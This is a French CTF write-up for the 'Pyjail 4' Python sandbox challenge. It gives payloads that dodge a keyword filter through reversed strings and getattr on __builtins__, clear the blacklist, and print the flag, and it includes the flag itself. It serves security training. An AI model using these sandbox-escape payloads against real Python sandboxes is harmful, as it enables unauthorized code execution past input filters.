Pyjail 4

Catégorie: Système Difficulté: - Flag: CTFREI{an0th3r_ea5y_f1lt3r_byp4ss}

Challenge

Description


Trop facile la partie 3 ? Good luck pour la partie 4...

Essaie de récupérer le flag malgré tous les filtres et les nouveaux ajouts !

Connexion: nc vps.ctfrei.fr 5001

Solution

Comparé au challenge précédent (Pyjail3), les filtres ont changé et on ne peut pas utiliser le mot "blacklist" puisque si le mot "ack" est détecté, on est rejeté

On va utiliser la même technique que dans Pyjail2 : écrire à l'envers

> ncat vps.ctfrei.fr 5001
>>> filters["tsilkcalb"[::-1]] = []
>>> print(flag)
CTFREI{an0th3r_ea5y_f1lt3r_byp4ss}

Un autre solution (un peu overkill) mais qui fonctionne pour les 4 niveaux de ce challenge est de passer par la variable __builtins__. Elle contient l'ensemble des variables natives de python, notamment print et globals, on peut donc les récupérer avec getattr pour les utiliser ensuite

Voici le payload pour récupérer print :

getattr(__builtins__, 'tnirp'[::-1])

Pour récupérer globals :

getattr(__builtins__, 'slabolg'[::-1])

Le payload final est :

> ncat vps.ctfrei.fr 5001
>>> getattr(__builtins__, 'tnirp'[::-1])(getattr(__builtins__, 'slabolg'[::-1])()['galf'[::-1]])
CTFREI{an0th3r_ea5y_f1lt3r_byp4ss}

Dernière mise à jour

Cet article vous a-t-il été utile ?